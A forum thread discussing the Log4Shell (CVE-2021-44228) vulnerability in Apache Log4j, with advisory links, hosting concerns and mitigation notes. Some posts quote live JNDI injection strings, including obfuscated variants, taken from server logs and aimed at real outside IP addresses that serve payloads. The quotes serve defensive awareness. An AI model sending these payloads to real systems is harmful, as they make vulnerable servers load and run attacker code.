Apache Log4j Zero-Day Exploit, "Log4Shell"

[engine]

The Apache Software Foundation has reported a critical vulnerability, CVE-2021-44228, Apache Log4j Zero-Day exploit.

[cve.mitre.org...]

More information here

Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe.

Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Anybody using Apache Struts is likely vulnerable.

[lunasec.io...]

[NickMNS]

This seems pretty serious. Cloudflare has taken preemptive action and blocking exploit attempts. So it appears that if you are using Cloudflare that you are protected to some degree.

See their blog:
[blog.cloudflare.com...]

[engine]

FYI, here's a little more information on Apache Log4j Security Vulnerabilities

[logging.apache.org...]

[martinibuster]

It affects cPanel.

[aristotle]

Evidently people like me that use shared hosting have to depend on their hosting company to get this fixed.

As for cPanel, does anyone know if the uploading of files to the server can still be done securely.

[engine]

I don't know for certain, Aristotle. The issue, as i understand it is to do with the logging.

I'm sure any decent webhost would have updated the servers to Log4j 2.15.0 or to apply the recommended mitigations immediately.
[cisa.gov...]

[graeme_p]

Shared hosting (and CPanel) is only vulnerable if particular software is in use. In the case of CPanel the Dovecot Solr plugin, Tomcat, and possibly other Java stuff. In general Java logging. If the log server is a separate sever or process, it is what is at risk.

[aristotle]

Thanks for the replies. About 6 months ago I moved my sites to a new host that provides free automatically-installed ssl. It's a fairly large well-known company, so I'm going to assume that this has been taken care of.

[engine]

Microsoft says that bad actors are taking advantage of this vulnerability, with some "mass scanning" and testing weaknesses, and others

An example pattern of attack would appear in a web request log with strings like the following:

${jndi:ldap://[attacker site]/a}

An attacker performs an HTTP request against a target system, which generates a log using Log4j 2 that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload. In many observed attacks, the attacker-owned parameter is a DNS logging system, intended to log a request to the site to fingerprint the vulnerable systems.

[microsoft.com...]

[SumGuy]

I noticed this in my logs yesterday:

${${lower:jndi}:${lower:rmi}://185.254.196.236:1389/jijec}

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://185.254.196.236:1389/jijec}

Those were the User-Agent and Referrer strings in a couple of web-hits to my server.

Note that they indicate some sort of back-channel contact with the same IP:port (in Ukraine).

The originating IP's for those hits were

182.160.29.167 (ecs-182-160-29-167.compute.hwclouds-dns.com)

85.187.218.98 (85.187.218.98.ipacct.bg) Bulgaria


My router blocks thousands of CIDR ranges of bots and other garbage from hitting my web and mail servers but those hits still got through (the CIDR's for their associated AS numbers are now in my block list). My web server runs on a Windows NT system using a combination of IIS4 (for http) and Abyss (for https) so this was a nothing burger for me.

I understand that a previous version of the log4j library is not vulnerable to this exploit. I assume that log4j development is hosted at github or some other open-access code repository? I say go and check to see who authored the key code changes that would have created the vulnerability and see what sort of history or reputation they have.

[SumGuy]

Another example today, from 202.141.176.9 (University of Science and Technology of China).

Four direct HTTPS hits, with about 1 second between them. First hit:

requested file:
/${jndi:ldap://31.131.16.127:1389/Exploit}

user-agent:
Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox

cookie:
test='${jndi:ldap://31.131.16.127:1389/Exploit}'

My Abyss server returned a 500 code for that. Next, the file /index.html was requested, which resulted in a 200 code, but the user-agent for that request was:

${jndi:ldap://31.131.16.127:1389/Exploit}

Next was a POST instruction, the file being /login, same user-agent as the first hit. Server response was 404. The last request was again for /index.html, user-agent was curl/7.58.0.

If you think this was just a harmless test from a (Chinese) academic institution, note that the payload IP 31.131.16.127 is Ukrainian.

As a result of this malarkey, I have permanently banished 202.141.176.0/20 to my router's list of completely blocked-and-not-even-logged IP list.